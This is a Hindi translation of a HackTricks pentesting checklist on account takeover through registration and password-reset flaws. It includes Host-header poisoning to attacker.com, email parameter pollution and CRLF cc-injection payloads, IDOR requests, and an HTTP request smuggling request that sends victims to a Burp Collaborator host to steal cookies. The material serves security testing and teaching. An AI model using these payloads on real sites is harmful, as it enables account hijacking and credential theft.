hacktricks/pentesting-web/registration-vulnerabilities.md

16 KiB

पंजीकरण और ताकता वंरबिलिटीज

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

पंजीकरण ताकता

डुप्लिकेट पंजीकरण

  • मौजूदा उपयोगकर्ता नाम का उपयोग करके जेनरेट करने की कोशिश करें
  • ईमेल को विभिन्न करने की जांच करें:
    • अपरकेस
    • +1@
    • ईमेल में कुछ डॉट जोड़ें
    • ईमेल नाम में विशेष वर्ण (%00, %09, %20)
    • ईमेल के बाद काले वर्ण डालें: test@test.com a
    • victim@gmail.com@attacker.com
    • victim@attacker.com@gmail.com

उपयोगकर्ता निर्देशांकण

जांचें कि आप अनुप्रयोग में पहले से ही पंजीकृत उपयोगकर्ता नाम को कैसे पहचान सकते हैं।

पासवर्ड नीति

उपयोगकर्ता बनाते समय पासवर्ड नीति की जांच करें (क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)।
उस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने की कोशिश कर सकते हैं।

SQL इंजेक्शन

इस पेज की जांच करें कि पंजीकरण फॉर्म में SQL इंजेक्शन के माध्यम से खाता ताकता या जानकारी निकालने की कोशिश कैसे करें।

Oauth ताकता

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML वंरबिलिटीज

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

ईमेल बदलें

पंजीकृत होने पर ईमेल बदलने की कोशिश करें और देखें कि यह बदलाव सही ढंग से सत्यापित हो रहा है या किसी भी ईमेल पर इसे बदल सकते हैं।

अधिक जांचें

  • जांचें कि क्या आप डिस्पोजेबल ईमेल का उपयोग कर सकते हैं
  • लंबा पासवर्ड (>200) DoS में ले जाता है
  • खाता निर्माण पर दर सीमाएं जांचें
  • उपयोग करें username@burp_collab.net और कॉलबैक का विश्लेषण करें

पासवर्ड रीसेट ताकता

पासवर्ड रीसेट टोकन लीक वाया रेफरर

  1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
  2. पासवर्ड रीसेट लिंक पर क्लिक करें
  3. पासवर्ड नहीं बदलें
  4. किसी भी तीसरी पक्ष वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
  5. बर्प सुइट प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
  6. देखें कि रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है या नहीं।

पासवर्ड रीसेट पॉइजनिंग

  1. बर्प सुइट में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
  2. बर्प सुइट में निम्नलिखित हेडर्स जोड़ें या संपादित करें: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. संशोधित हेडर के साथ अनुरोध फॉरवर्ड करें
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. होस्ट हेडर पर आधारित पासवर्ड रीसेट URL के लिए देखें जैसे: https://attacker.com/reset-password.php?token=TOKEN

ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. हमलावर को अपने खाते से लॉगिन करना होगा और पासवर्ड बदलें सुविधा पर जाना होगा।
  2. बर्प सुइट शुरू करें और अनुरोध को रोकें
  3. इसे दोहराने वाले टैब पर भेजें और पैरामीटर संपादित करें: उपयोगकर्ता आईडी/ईमेल
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

पासवर्ड रीसेट टोकन को यादृच्छिक रूप से उत्पन्न किया जाना चाहिए और हर बार अद्वितीय होना चाहिए।
यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या क्या हमेशा एक ही होता है, कुछ मामलों में उत्पादन एल्गोरिदम कमजोर होता है और अनुमान लगाया जा सकता है। निम्नलिखित चर प्रयोग किए जा सकते हैं।

  • टाइमस्टैम्प
  • उपयोगकर्ता आईडी
  • उपयोगकर्ता का ईमेल
  • पहला और अंतिम नाम
  • जन्म की तारीख
  • गुप्तशास्त्र
  • केवल संख्या
  • छोटा टोकन अनुक्रम (अक्षरों के बीच वर्ण [A-Z,a-z,0-9])
  • टोकन पुनः प्रयोग
  • टोकन समाप्ति तिथि

Leaking Password Reset Token

  1. एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध को ट्रिगर करें उदा: test@mail.com
  2. सर्वर प्रतिक्रिया की जाँच करें और resetToken के लिए जाँच करें
  3. फिर उस टोकन का उपयोग करें एक URL में जैसे https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. व्यवस्था पर एक उपयोक्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोक्ता नाम के समान हो, लेकिन उपयोक्ता नाम के आगे और/या बाद में सफेद जगह डाली गई हो। उदा: "admin "
  2. अपने दुराचारी उपयोक्ता नाम के साथ एक पासवर्ड रीसेट अनुरोध करें।
  3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
  4. नए पासवर्ड के साथ पीड़ित खाते में कनेक्ट करें।

इस हमले के लिए प्लेटफ़ॉर्म CTFd कमजोर था।
देखें: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. अनुप्रयोग या एक सबडोमेन के अंदर XSS खोजें यदि कुकी माता डोमेन के लिए स्कोप किए गए हैं: *.domain.com
  2. वर्तमान सत्र कुकी लीक करें
  3. कुकी का उपयोग करके उपयोक्ता के रूप में प्रमाणित करें

Account Takeover Via HTTP Request Smuggling

1. स्मग्लर का उपयोग करें HTTP अनुरोध स्मग्लिंग के प्रकार का पता लगाने के लिए (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. एक अनुरोध बनाएं जिसमें POST / HTTP/1.1 को निम्नलिखित डेटा के साथ ओवरराइट किया जाएगा:
GET http://something.burpcollaborator.net HTTP/1.1 X: जिसका लक्ष्य burpcollab पर पीड़ितों को ओपन रीडायरेक्ट करना है और उनकी कुकीज़ चुराना
3. अंतिम अनुरोध निम्नलिखित की तरह दिख सकता है

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

हैकरवन रिपोर्ट्स इस बग का शोध करना\

CSRF के माध्यम से खाता हासिल करना

  1. CSRF के लिए एक पेलोड बनाएं, उदा: "पासवर्ड बदलने के लिए ऑटो सबमिट के साथ HTML फॉर्म"
  2. पेलोड भेजें

JWT के माध्यम से खाता हासिल करना

JSON Web Token का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।

  • दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT को संपादित करें
  • कमजोर JWT हस्ताक्षर के लिए जांच करें

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: